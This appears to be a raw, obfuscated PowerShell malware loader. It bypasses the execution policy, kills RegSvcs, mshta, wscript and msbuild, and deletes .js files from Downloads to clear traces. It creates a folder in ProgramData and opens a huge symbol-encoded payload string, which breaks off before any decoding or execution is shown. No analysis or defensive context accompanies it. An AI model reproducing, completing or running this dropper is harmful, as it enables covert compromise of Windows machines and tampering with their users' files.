Set-ExecutionPolicy -Scope CurrentUser Bypass -Force $ProcessesToStop = @("RegSvcs", "mshta", "wscript", "msbuild") $ProcessesToStop | ForEach-Object { if ($Process = Get-Process -Name $_ -ErrorAction SilentlyContinue) { Stop-Process -Name $_ -Force } Write-Host "Stopped process: $_" -ErrorAction SilentlyContinue } $downloadsFolder = [System.IO.Path]::Combine($env:USERPROFILE, 'Downloads') Get-ChildItem -Path $downloadsFolder -Filter *.js | ForEach-Object { if (Test-Path -Path $_.FullName -PathType Leaf) { Remove-Item -Path $_.FullName -Force } } $okasodkaoskdoaksd= "C:\ProgramData\nippleskulcha" ni $okasodkaoskdoaksd -it d -fo $lundkimuchili = @' $muthal = "******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************00^-**0101********0011*****1**00101************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************00101*01011*00-1^^-1*1101^1*1101011011010^1101^-01^-01*0110-101*0-1*101*01011*00-1^-101^1^1^-0110^^1*10-01^-01010-00^-*10-0-101*0-1**01**01*101*01011*00-1^^-1*10-0^101^^-01010-011*11010^1101^-0-101*0-1**01**01**01**01*101*01011*00-1^1^-010^110-0011010^11*110110^101^110-0^101^^-*00101*^11010^11*10-01^-010^1101010-01*-010^1^^-0-101*0-1**01**01**01**01**01**01*101*01011*00-1^-101*1*^10^1101^-*1101101*01^1^1^1*^10-^1^-01^-010^11011*11011*1101*0010^101101010-**1*1*1*^-010^11011010110-101^110-00-0110^^101^-01*01^1*^10-1*011011010^1^110-010^11*11011**1*011011010^1^110-010^11*1^^-0110-10110^1011*10-01010-011*11010^11*0-10101*1*^11010^11*10-01^-010^1101010-01*-010^1^^-*-1**01**01**01**01**01**01**01**01*101*01011*00-11*1*^1^11*110-00-0^101101101^-01*01^10-0010110110-1011011*110101101*010-001^110-101101^-0-101^^-011*110^101101011011010110^1^-01*01101011011010^11*01011011*1101^-0010-*-01^^-01010-001*^10-^1^-00-011*1101101011011*0-1**^1^-010^110-0011010^11*110110^101^110-0^101^^-*00101*^11010^11*10-01^-010^1101010-01*-010^1^^-*-1**01**01**01**01**01**01*101*01011*00-1^^-1*10-0^101^^-01010-011*11010^1101^-*-1**01**01**01**01*101*01011*00-11*1*1*^11*110-00-0^101101101^-01*01^10-0010110110-1011011*110101101*010-001^110-101101^-0-101^^-011*110^101101011011010110^1^-01*01101011011010^11*01011011*1101^-0010-*-01^^-01010-001*^10-^1^-00-011*1101101011011*0-1**^-101^1^1^-0110^^1*10-01^-01010-00^-*10-*-1**01**01*101*01011*00-1^-101*1*1**-*00-01*01^-01*-0110-10110^1011*10-01*011011*110^1011*11011*00-*00-01*0010^-10101^^1*^10-^10^110101101101*01^-011**1*1*1**11*-01**11*-01**11*-0^1*11*1*^10-1*-0110-10110^101101^-00^-010^1^110-**^^-1*10-0^1011*10-00-011010^11*^110^^10^-1*1101^1*1101011011010^1101^-01^-01*011*-1**01**01*101*01011*00-11*1*1**11*-0^1*11*1*^10-1*-0110-10110^101101^-00^-010^1^110101*10-01^-010^1^1^110^101^-01101*01101011011**1*1*^1*11*110-00-0^101101101^-01*01^10-0010110110-1011011*110101101*010-001^110-101101^-0-101^^-011*110^101101011011010110^1^-01*01101011011010^11*01011011*1101^-0010-*-01^^-01010-001*^10-^1^-00-011*1101101011011*0-1**^^-1*1101^1*1101011011010^1101^-01^-01*011*-1*101*01011*00-1^--*1*^1^-010^110^-^1*^10-^10^1^-0110-1011*1101101*011*^1^-01101*011*10-01^-**1*1*1*00-00101101*11*1*101010101010^1*^10-^-001^-0110^1011*^110-1011011*1^-011010^11**1*1*1**11*-0^1*11*1*^10-1*-0110-10110^101101^-00^-010^1^110-**1*01101101011011*0-10--*0-^--0-0-0-110-*********011***00-01****0011***00-01****0011***00-01***01*11*********-011***-1011***^1011***1^-***0^-***10^11***0110101****001***0^-1***0011011***01*11***1011011***10^11***1^-***1^-***1*001***1******1*****-**********11***00-01****0011***00-01****0011***00-01***01*11*********-011***-1011***^1011***1^-***0^-***10^11***0110101***0010-***11*11***1010-***00^11***-1011***0^-****0101***1******1****001011***************0-***-1011***0010-***1101011***1^-***10^11***001*1****001***01^101***011*1****0101***^^1*************0010^11***1011011***1*011***0-001***0010-***11*11***1010-***00^11***-1011***0^-****0101***1*****1011****00-1**************10^11****-1***10^11***0-01***010^11***0^11****0011***0-011***011*11***1^11****^11***10^11***011011***001*11***101011***0-011***0101101***01*011***-011****^11****-***0101101***0101011***0011011***011*11***001011***0101101***010^11***11*11***-011***01^11***0101101***01*11****0011***0011011***01^11***0011011****^11***001011***0-011********0010^11***1011011***1*011***0-011***10^11***0011011***^1011***011*1***0011011***1*011***0-011***^1011***-0011***^1011***0^-***-^1***1*****^101****-11**************-01***011*11***0-011***^^1****001****1101***01^-***01*11***1*011***001^1****001****11011***-1011***11*11***-1011***0010-***-1011***0^-****0101****001****1011***00^11****0011***00^11*****1***0^10101****01****10-****1011***-0011***^1011***0^-***^-1****0-***-1011***11*01*********10-****1011***-0011***^1011***0^-***^-1****0-***-1011***11*01***0011011***1*011***-0011***10^11***001^1***1*****10^1****00-*************0010^11****-1***10^11***0-01***010^11***0^11****0011***0-011***011*11***1^11****^11***10^11***011011***001*11***101011***0-011***0101101***01*011***-011****^11****-***0101101***0101011***0011011***011*11***001011***0101101***010^11***11*11***-011***01^11***0101101***01*11****0011***0011011***01^11***0011011****^11***001011***0-011********0010^11***1011011***1*011***0-001***0011011***1*011***0-011***0^-***10^11***0010-***0-011***^^1***1*****^101****10-*********0011***00-01****0011***00-01****0011***00-01***01*11**************0-011***-1011***^1011***1^-***0^-***10^11***0110101***10^11***0011011***^1011***011*1***1******1*****011**********01**************0-011***-1011***^1011***0010-****0-***^1011***0^-***11*11***1^-***10^11***001*1***10^11***0011011***^1011***011*1***1*****01*****01101*********-01***011*11***0-011***^^1****001****1101***01^-***01*11***1*011***001^1****001****11011***-1011***11*11***-1011***0010-***-1011***0^-****0101*************0010^11***1011011***1*011***0-001***^-1***0-011***1*011****0-***1011011***-1011***11*01***1*****00101****00^1********00-011***-1011***^1011***0010-***1*011***11*11***^1011***0011011****0-****0-***1*001****001***010^11***0110-***^1011***0010-***1*011***0-001****001***01^101***011*1****0101***^^1********01^-***0010-***0-011***10^11***1011011***1011011***-1011***11*01***1******11****00^1*********0011***001*11***001011****0011****0011****0011****0011****0011***01*******0011**0011*********0-1011***01^11***0-011***^^1***10^11***0011011***^1011***011*1***-0011***0-011***^1011***0^-***0010-***1^101***1*******0011***011*01***1101*******************-011***-1011***^1011***0010-***1*011***0011011***1^-***0-011***1*011***0^-***0010101*********1*****^1**************-1011***01^11***0-011***^^1***10^11***0011011***^1011***011*1***0^-***1*011***0110101***1***********1*1****************************************01***********1********************0--**************1*********************1**********01********---110-001*0010-101*************0-^1***011*1***0-001***^^1***-1101***0-001***-^1***^^1***1^101***0^101***101*1***0110101***-1101***1^101***0110101*********101^11***01011**************************001**001010-***001**^11*00-***************************11***01011***001***11**101*********0^1*************01**************************************************1*************01******************************************1******01011********01*****1******************************************1******00101********01*****1******************************************1******0-*********0011***01*******1**********1****1*************************************************************************************************************************************************************************************************************************************************************************************************01**1***010^^--11**************11011*11011*^1^-0^10^11010^1^^-0-1011011*1101^-01011011***0-0110^101101*0110101^1010^11*0-10101*^^-0-1011011*010-1101****************************************************1*0^1101**001************************************************************01*******1*0^110^-*1*************************1*0^1101*11011*********101101*0101*1*101*001*00101*1*101*001*00101******************************1**0010-010^1101^101010^11011*1^^-01010-0-101101^-010^1^^101010^11010110110^1011*10-00-01101010-00^10^-0^1^-010^11011*1^^-01010-0-101101^-010^1^^10^-0^1011011010^11*10-01^-0^-101^101011*^^-*00-**1^10^11*101^1^1^^-001*11*1101^10101^11*11010101^1*0110-01^-011*1*11010-1*-011010^11011010110-1011*101010^-1010^110110^1011*110^1011*1101^1*1101010-*00101**1*01101*01101101*01^^-*10-01010-010^1^-011010-^10^1^^-01010-*10-*1101101010-011*01**1*01101**11*-01**11*-01**11*-01*0101^10-1*-0110-10110^101101^-00^-010^1^110101**1*01101*1*110^1011*1101^^-0-1011011*1101^-01011011**1*01101*^-010^11*^1101*011010^1^^101010^11011*1^^-01010-0-101101^-010^1^^10^-0^1^-010^11011*1^^-01010-0-101101^-010^1^^10^-0^1011011010^11*10-01^-0^-101^101*11011********01*^1********1**00-110-110-010^110-0011********00101101*1**01*01010101101*0010^1*1*101101*0010^1*10-10101*0010^1*10-**1*0101^1101*0010^1*10-*^1*001**0-*0^^1101*0010^1*101*1101*0010^1*1*001101*0010^1**1*01*001101*0010^1*10-*10-10101*0010^1**01*-*00-00^^1010101*0010^1*0-**01*010^101**010^1*001*00-**101**01*010^-1**10^1*101^101**10^1*1*0011**010^1*101*0010-*101*0010-*101*0010-*101*0010-**1*0-**0101**1*0101*0010-*101*0010-*0-**1*00-**001**01*0101*0010-*10^-1**10^1*101^101**10^1*1*0011**010^1*101*00-**-**01**01**01*00101**01*010110101**010^1*101*0010-*-*00-**011**01**-*01**-**01**001*0101*0010-*01**-*00101**001*0101^101**10^1*01**-**11**001*0101*0010-*^1*0^1*0^1*0^1*0^1*0^1*0^1*0^1*0^1*0^1*0^1**01**01**01*0^1*01101*0^1*0^1*0101*0010-*^1*010-*01101*-*0011011**1*0101*0010-*11**10-*101*0010-**1**01**01*001***1*0^1*0-**-**01*0101*0010-*101*0010-**1*010-**1**01**01**01*01101*01101**01*01101*0-***1**1*011**10-*101*0010-*101*0010-**1**01**01**01**01**01*00101*0-*00-1**01*0101*0010-**1*010-*101*0010-**1*010-**1**01*0-*00-**001*00101*0-***1**1*011**10-**1**01**-**1*0011*00-*00^1**01*0101*0010-**1*010-*11**10-**1**01**01**01**01*0-*001011**01*0101*0010-**1*010-**1**01**01**01*00-*01**01*-1**010^1*10101**1*0^1*0-**^1**1**01*010-*101*0010-*101*0010-*11**10-**1**01**01**01*0^1*0-*00-1**01**01**01**01**01**01**01*0101*0010-**1*010-*101*0010-**1*010-*101*0010-*101*0010-*11**10-**1**01**01**0101*1*0011*1*001101*1*0011*1**11**1*001***11**1**^1*1*0011*1**1**011**11**1**01*00101**1101*1*0011*1**1**011**1*00-**01*001**^101^^1*10101*00^^-**10-*001**01*010-*101*0010-*11**10-**1**01*0101*0010-**1*010-**1**01**01*00-**01*001**10-1101*1*10101*0-**01*00-*00-*001**^101^^1*10101*0-**01*001**10--1**11*1*10101*0-**01*001**^101^^1*10101*1*1*-*00101101*001*0101*0010-*101*0010-**1*010-*101*0010-**1**01**01*00-*00-*00101*0-***1**1**01*010-*101*0010-**1*010-*11**10-*101*0010-*101*0010-*101*0010-**1**01**01**01*00-*010-*0-*00-*010^101**010^1*0-*00-*001**^101^^1*10101*0-*010-*0-*01^1*-*0010^1*001**01**01**01**01**01**01**01**01**01**01**01**01*011**10-**1*010-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**-*01*0011*1*0-**01*001**10-1101*1*10101*1*101011*0010^1*1**01*1011**011*1*10101**1*00-*010-**1*01*101011*0010^1*10-*00-*01*0011*1*0-**01*001**10--1**11*1*10101*0-**01*001**^101^^1*10101*1*101011*0010^1*0-*01*101011*0010^1*1*101011*0010^1*1**0101^11**010^1*10101*10^^-**001101*01*011**10-*101*0010-*101*0010-*101*0010-**1*010-*101*0010-**1*010-**1**01**01*0101*0010-**11**11*0101*001***11**11**11*00-*01*0011*1*00101*-***01*001*0101*0010-**1*010-**1**01**01**01*0101101011**10^1**1*0^1*0-*00-1**01*0101*0010-**1*010-*101*0010-**1**01*00-*01**01*10101**10^1*10101**1**01*0-**^1**1*0101*0010-*101*0010-*11**10-**1*010-**1**01**01**01**-**1*01101*0-*001*1**1*010-*101*0010-**1**01**-*101*00-*00^1**01*0101*0010-**1*010-*101*0010-**1**01**01**01*0^1*0^1**01*01101*0-***1**1*011**10-*101*0010-**1*010-*101*0010-**1*010-**1**01**01**-*1011*1**010^1**1**01**01**01*011**00-*00-*00-**1**01*010101*-**-1**1*0101*0010-**1*010-**1*010-*101*0010-*101*0010-*11**10-**1**01**01*00101*0-**^1**1*011**10-**1*010-**1**01**01*01011**01**01*0-**011**01*0101*0010-*101*0010-**1*010-*11**10-*101*0010-**1*010-*101*0010-**1**01**01**01*010^101**010^1*1011*0-**0011**1*0101*0010-**1*010-*11**10-*101*0010-**1*010-*101*0010-**1**01**01**--1**10^1**1*0101*0010-**1*00-*0-*00^11**1*011**10-*101*0010-**1**01**01*0^1*0-*00-*001101**01*0101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1*010-*11**10-**1**01**01**--1**10^1*^1*0^1**011*01*0010^1*-1*0-**0-**1*011**10-*101*0010-*101*0010-**1**01**01**-*00-**1**01**01**01*011**00-*11**1**010-*1**10^1*10101*00-**1**01*01^1*-*0010-**1*011**10-**1*010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*0101*0010-*0010-11**11*1*^1**001*01*0010^1*0-*0-*0011011**1**01*010-*101*0010-*11**10-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01*010^101**010^1*0011*0-*00-01**1*0101*0010-*11**10-**1*010-**1*010-*101*0010-*101*0010-**1**01**01*0101*0010-*1101*0-**0101**1*0^1*001**-**01**001**01*010-*101*0010-*101*0010-*101*0010-**1**01**01*0^11011**010^1**1*00101*0-**^1**1**01*010-*11**10-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01*011**10-*101*0010-*0010-11**11*1*101*0010-*^1*0^1**11*001*0010^1*1*1*-***01*001*011**10-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*0101*0010-*1101*0-**0101**1*0101*0010-**1*010-**1**01**01**01*011***1*0^1*0-*001011**01**01*010-*101*0010-*101*0010-**1**01**01**01**01*0^1*0-**-**01*011**10-*101*0010-*101*0010-**1**01**01*0101011*1*0010^1**1*0^1*0-***1**1*0101*0010-**1*010-**1**01**01*00-*01**01*-1**010^1*10101**1**01*0-*001*1**1**01*010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01**-*00-**1**01**01**01*011**1*11011**10^1*1010-01**10^1*00-**1**01*010101*-***01*001**01*010-*11**10-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01*010^101**010^1*1101*0-*0010101**1*0101*0010-**1*010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01*0101*0010-*1101*0-**0101**1**01*010-*101*0010-*101*0010-*101*0010-*11**10-*101*0010-**1*010-**1**01*011**10-*11**10-*0010-11**11*1*1011*0-**1011**1*0101*0010-*101*0010-**1*010-**1*010-*101*0010-**1**01*00101**01*00101*0-*001*1**1**01*010-*101*0010-*101*0010-*11**10-**1**01**01**01*0101101011**10^1**1*01101*0-*001^1**1**01*010-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01**01*01101*01101**01*01011*0-**0101**1**01**01*0101*0010-**1*010-*101*0010-**1*010-**1**01**01**01**01**11*0-**^1**1*0101*0010-*101*0010-**1**01**01*01**001*0010^1**1**01*0-**-**01**01*010-*101*0010-**1*010-*101*0010-**1**01**01**01*0101**001*01101*0-*001*1**1**01*010-**1**01**01*0101*11**011*1*101*11**011*1**1**01*0-*00-1**01**01*010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01**01**-**1**11*0-*001^1**1*011**10-*101*0010-*101*0010-*101*0010-**1**01**01**01*001***1*01101*0-*001*1**1**01*010-*101*0010-*101*0010-*101*0010-*101*0010-*11**10-**1*010-**1**01**01*01**01**11*1****1*0010^1*^1*0101*0010-*^1*0^1**--1**10^1*0^1*-**1*1*001**01*010-*101*0010-*11**10-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*010^101**010^1*1011*0-**0011**1**01*010-*101*0010-*11**10-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01*01**01**11*1****1*0010^1**1*0101*0010-**1**001*-**-1**1*0101*0010-**1**01**01*0^1*0011*00-*00^1**01*0101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01**-**1*01101*0-*001*1**1*0101*0010-*101*0010-*101*0010-*11**10-*101*0010-**1**01**01*010^101**010^1*0101*0-*001^1**1**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01*0101*0010-**1**01*0101*0010-**1**01**01*010-*11**10-*101*0010-**1**01**01*00-*010-*0-*010-*10101011**010^1*^1^11**10^1*0101*0101*11**011*1*10^1101**10^1*10101101**010^1*^1010-*0010^1*101*0010-*101*0010-*0-*00-*0101*0010-*0-*00-*00-*010101101**010^1*^1011011*0010^1*101*0010-*0-*00-1^-*001101101*01**01**01**01**01**01*010-*101*0010-*11**10-*101*0010-**1*010-**1**01**01*00-*0101*11**011*1*1010^-*0010^1*0-*01010^-*0010^1*0^1*-*00-11**1**01**01*0101*0010-**1**01**01**01**01*0-*001101**01*011**10-*101*0010-**1**01**01*00-*01**01*10101**10^1*10101**1**01*0-*001*1**1**01**01*0101*0010-**1**01**01**01**01**01**01**01**01**01*0101*0010-*101*0010-*101*0010-*11**10-**1*010-**1*010-**1**01**01*0101010-1*0011*1*101010-1*0011*1*101010-1*0011*1*101010-1*0011*1*1*0011**010^1*1*0011**010^1*10^-11*0010^1*^110-1*0010^1*^10-11*0010^1*^--1*0010^1*10-0-1*0010^1*1010--*0010^1*1*--*0011*1*00^^-*00-*1*01**01*010-*101*0010-**1*010-*101*0010-**1**01**01**01**01*00101*0-***1**1*0101*0010-*101*0010-**1*010-**1*010-**1**01**01**01*0^1*0-*00-1**01*0101*0010-*101*0010-**1**01**01**01**01**01*0-**011**01*011**10-**1*010-**1**01**01**-**1**01*0-**011**01*0101*0010-*11**10-*101*0010-**1*010-**1**01**01**01*011**1**010-*1**10^1*10101**1*01101*0-**1101**1*0101*0010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01**01*010^101**010^1*101*0010-*0011*0-**1101**1**01**01**01**01*011**10-**1**01*0101*0010-**1**01**01**01*0101*0010-**1*010-**1**01**01*010-10-*0010^1*0-*01*10-1*0010^1*0-*0101^-1*0010^1*-01*-*0011*1*001*0101*0010-**1**01**01*010-*101*0010-**1**01*0101*0010-**1**01**01*010-10-*0010^1*0-*01*10-1*0010^1*0-*0101^-1*0010^1*1*1*-*0010-**1**01**01**01**01**01**01**01**01**01**01*0101*0010-*101*0010-**1**01**01*01*10-1*0010^1*1**010-1*1*0010^1*10101*0-*01*10-1*0010^1*^-0-*0010^1*101^-1*0010^1*0-*001101*-*00-001*001**01**01*0101*0010-**1**01*011**10-*101*0010-*101*0010-**1*010-**1**01**01*00-*00-*0-*0010101**1*0101*0010-*101*0010-*101*0010-*11**10-*101*0010-**1**01**01**01*00101**01**11*0-*001^1**1*0101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01**-**1**11*0-*001^1**1*011**10-*101*0010-**1**01**01**01*0101^^1*0010^1**1*0^1*0-*00-1**01**01**01*0101*0010-**1*010-*101*0010-**1*010-**1**01*0101*0010-**1**01**01**01*01*101011*0010^1*10-*1*101011*0010^1*1*101011*0010^1*10-**1*00-*01^1*-**1*1*001**01*010-*101*0010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01*0^10-11*0010^1*10-**1**11*0-*00-01**1**01*010-*11**10-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01****0-1**1*0101*0010-**1*0101*^1*0010^1**01*-*0010-**1**01**01**01**01**01**01**01**01*0101*0010-**1**01**01**01**01**01**01**01*0101*0010-*101*0010-*101*0010-**1**01**01*00-*00-*010^1101**10^1*10101101**010^1*^1010-*0010^1*^1011011*0010^1*0-1*-**01101*001**01*010-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*00101*0-**^1**1*0101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*0101*11**011*1*0-**11*0-*0010101**1**01*010-*101*0010-*101*0010-**1*010-**1**01**01**01*0101**001*01101*0-*001*1**1*0101*0010-*11**10-**1**01**01**01**011**11**1*00101*0-**-**01*0101*0010-**1*010-**1*010-*101*0010-**1**01**01**01*01011*1**010^1**1*01101*0-*001^1**1*0101*0010-**1**01**01**01*0101*0010-**1**01**01*010-*101*0010-*11**10-*101*0010-**1**01**01*01*10-1*0010^1*1**010-1*1*0010^1*10101*00-0-**11*1*0-*01*10-1*0010^1*1010110-*0010^1*10^1*01*010^1*01101*-*00101101*001*0101*0010-*101*0010-*101*0010-*11**10-**1*010-**1**01**01**-**1*01101*0-**^1**1*0101*0010-**1*010-**1*010-**1**01*01011*1**010^1**1**01*0-*00-1**01*0101*0010-*101*0010-**1*010-*11**10-**1**01**01**01**-**1*01101*0-*001*1**1**01*010-*101*0010-*11**10-**1**01**01*0101011*1*0010^1**1*0^1*0-***1**1*0101*0010-**1*010-*101*0010-**1*010-**1**01**01**011**1*00101*0-***1**1**01*010-**1**01**01*00-*010-*0-*010-*-*00-**011**01**01**01**01**01*0101*0010-*101*0010-*101*0010-**1**01**01*0101*0010-*101*0010-*1011*0-**0101**1*0101*0010-*101*0010-*11**10-*101*0010-*101*0010-**1*010-**1**01**01**01*0101*0010-*101*0010^101**010^1*0-*0-*00^11**1*0101*0010-*101*0010-**1**01**01*00-*010-*-*00-**011**01**01**01**01**01**01*010-*101*0010-**1**01**01*00-*00-**11*0-***1**1**01**01**01**01**01*010-**1*010-*101*0010-**1**01**01*00-*0^1*0^1*0^1*0-1*0-**0101**1*0101*0010-**1**01*011**10-*101*0010-*101*0010-**1**01**01*00101*0-***1**1*0101*0010-**1*010-*101*0010-*101*0010-*101*0010-*11**10-**1*010-**1**01**01****0-1*10-**1**01**01*0-1*0-**1011**1*0101*0010-**1*010-*11**10-*101*0010-*101*0010-*101*0010-**1**01**01*00-**01*0101*0010-*1011*0-**1101**1**01*010-*101*0010-**1**01*0101*00-*00^1**01*0101*0010-**1*010-*101*0010-**1**01**01**01*01**001*0010^1**1*00101*0-*001*1**1**01*010-*101*0010-**1**01**01**01*01011*1**010^1**1*0^1*0-*00-1**01**01**01**01*010-*101*0010-*11**10-**1**01**01**01**01*01101*0-***1**1**01*010-*101*0010-**1**01**01*0101101011**10^1**1**01*0-**-**01**01*010-*101*0010-*11**10-*101*0010-**1**01**01**01**01**01*01101*0-*001*1**1**01*010-*11**10-*101*0010-**1**01*01*1*001*010^1**1**01*0-*00-1**01**01*010-**1*010-*101*0010-*101*0010-**1**01**01**01*01101*01101**01**11*0-**^1**1*0101*0010-**1*010-**1*010-*11**10-**1**01**01*0101011*1*0010^1**1*00101*0-**^1**1**01*010-**1*010-*101*0010-*101*0010-**1**01**01**01**-**1*01101*0-*001*1**1**01*010-*101*0010-*101*0010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01**1011011**10^1*0-*0101*0010-**1*0101*0010-*1**01**11*1*101*0010-*101*0010-*0101**101*-*0010^1*001*011**10-*101*0010-*101*0010-**1*010-*101*0010-**1*010-**1**01**01*0101*0010-*0101**01*01011*0-**1101**1**01**01**01**01**01**01**01**01**01*010-**1**01**01**01*0101*0010-**1**01**01**01**01**01**01**01**01**01**01**01**01**01*011**10-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01**01*00-*00-*001**^101^^1*10101*0-*0101*0010-*1*11*1*0010^1*101*0010-*101*0010-*101*0010-*101*0010-*1*00-**10^1*0-*00-*0101*0010-*101*0010-*101101*1*0010^1*101*0010-*101*0010-*101101*1*0010^1*101*0010-*0-*0101*0010-*1*11*1*0010^1*101*0010-**1**01*0101*0010-*101*0010-*101*0010-*1**11**10^1**1*010101*01*0010^1*101101*1*0010^1*101*0010-*101*0010-**1**01**01*0101*0010-**1*0101*0010-*0-*00-*00-*001**^101^^1*10101**01010-**11*01**01*1**01*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01*0101*0010-*0101*0-**^1**1**01**01**01*010-**1**01**01**01**01**01**01**01**01**01*0101*0010-*101*0010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01*011**10-*10101*01*0010^1*1*11*1*0010^1*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*0-***^-*001^11*001*011**10-*101*0010-*101*0010-**1**01**01**0010-**11*1**1*0-*00-1**01**01*010-*101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*0101*0010-*0011*0-*0010101**1*0101*0010-**1*010-**1*010-*101*0010-**1**01*0101*0010-**1**01**01**01**01*0101*0010-*101*0010-*101*0010-*1**11**10^1*101*0010-*101*0010-*1*00-**10^1*00101*-**0^1*001**01**01**01**01*0101*0010-**1**01*011**10-*101*0010-*101*0010-**1*010-**1*010-**1**01**01*0101*0010-*101*0010-*101*0010-*101*0010-*1*11*1*0010^1**1**01*0101*0010-*101*0010-*101*0010-*10101*01*0010^1*101*0010-*101101*1*0010^1*10-*-*001^11*001**01**01**01**01**01**01**01**01*0101*0010-**1*010-*101*0010-*101*0010-*11**10-*101*0010-**1*010-**1**01**01*0101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**01*0101*0010-**1**01**01**01*00-*01**01**11*1*101*0010-**1**010^-*0010-1*001*0101*0010-*101*0010-*11**10-*101*0010-**1*010-*101*0010-**1*010-**1**01**01**1^101**10^1*001^101**10^1*0-*00-*0101*0010-**1*00-**01**01**01**01*00-**01*0^1**01*00-*011011*-*00^101*001**01**01*0101*0010-*101*0010-**1*010-**1**01**01*0^1*0-**-**01**01**01**01*010-*101*0010-**1**01**01**01*0^1*0-*001011**01*0101*0010-**1*010-*101*0010-**1**01**01*0-*00-**011**01**01**01*0101*0010-**1**01**01*010-*11**10-**1**01**01*0101*0010-*0011*0-**^1**1**01**01**01**01**01*010-*101*0010-*11**10-*101*0010-**1**01**01*0101*0010-*1011*0-**0101**1*0101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01*0^10101**011*1**1*01101*0-*001^1**1*0101*0010-*101*0010-*101*0010-**1**01**-**1**01*0-*001011**01**01*010-*11**10-*101*0010-**1*010-*101*0010-**1**01*0101**001*00101*0-*001*1**1**01**01*0101*0010-*101*0010-**1*010-*101*0010-**1**01**01**01*01101*0-*001*1**1*011**10-*101*0010-*101*0010-**1*010-**1**01**01**01*0011**001*01101*0-*001*1**1*0101*0010-*101*0010-*101*0010-*11**10-**1*010-**1**01**01**01**01*01101*0-**^1**1*0101*0010-*101*0010-**1*010-*101*0010-**1*010-*11**10-**1**01**01**01*0101*0010-*10-**1*0101*0010-*10-*101*0010-**1*0101*0010-*101*0010-**1*01^1*-**1*1*001*0101*0010-**1*010-**1*010-*11**10-*101*0010-**1**01**01*0101*0010-*^1**01**11*0-**0101**1*0101*0010-**1*010-*101*0010-*11**10-*101*0010-*101*0010-**1*010-**1**01**01*0101*0010-*10-*^1*0101*0010-**11**1*0101*0010-*1*1*-**-1**1*011**10-**1*010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01*0101*0010-*^1**011*1011*0-**1101**1**01*010-*11**10-*101*0010-*101*0010-**1*010-**1**01**01*0101*0010-*101*0010-*1101*0-**0101**1**01*010-*101*0010-**1*010-*11**10-*101*0010-*101*0010-*101*0010-**1**01**01*0^1**01*0101*0010-***-**11*1*101*0010-**11**11**11*1^1*-***01*001*0101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1*010-**1**01**01*0101*0010-*101*0010-*0011*0-**1101**1*0101*0010-*101*0010-*101*0010-*101*0010-**1*010-*11**10-**1*010-**1**01**01**01**01*0101*0010-*101*0010-*101*0010-**01*-**0-**1*0101*0010-*101*0010-**1*010-*101*0010-*101*0010-*11**10-**1*010-**1**01**01**01**01**01**01*0101*0010-**01*-**1011**1**01*010-*11**10-*101*0010-**1**01**01*0-*00-**011**01**01*010-*101*0010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-**1**01**01**01**01**01*0101*0010-*-1*0-*00^11**1**01**01**01*010-**1**01**01*010-*101*0010-*11**10-**1**01**01*0101*0010-*1*00-**10^1*101*0010-*1*00-**10^1**01*-**0-**1**01**01*011**10-**1**01**01*010-**1*010-**1**01**01*00-*01*00-**10^1*101*0010-*1*00-**10^1*-1*0-*00^11**1**01**01**01**01**01*010-*101*0010-**1*010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01*00-*01*00-**10^1*101*0010-*1*00-**10^1*101*0010-*0-*010101*-**0^1*001**01**01*0101*0010-**1**01**01**01**01**01**01**01**01**01**01*010-**1*010-*101*0010-*101*0010-**1**01**01*01*00-**10^1*101*011**10^1*101*0010-*1*00-**10^1*1*0-1**10^1*^^-**10^1*101*0010-*00-*-*00-101*001**01**01**01**01**01**01*0101*0010-**1*010-*101*0010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01**-0011**10^1*1**01*1011**011*1*10101**1*0101*0010-**1*0101*0010-**1*0101*0010-**1^11**11*1*00-0011**10^1*101*00101*00101*0010^101**010^1*10^101**010^1*-11*-**10-*001*0101*0010-**1*010-**1**01*01*11011**10^1**1*0-*00-*001011**01*011**10-**1*010-*101*0010-**1**01**01**01**01*0^1*0-**-**01*011**10-**1*010-*101*0010-**1*010-*101*0010-**1**01**011**11**1*01101*0-**^1**1**01*010-*101*0010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-**1**01**01**01^11**11*1*00-0011**10^1*00-0011**10^1*00-0011**10^1*00-0011**10^1*10-*00-0011**10^1*10-*00-0011**10^1*10-*00-0011**10^1**1*0101*0010-**1**-0011**10^1*-01*-**11011*001*0101*0010-*101*0010-*101*0010-**1*010-**1*01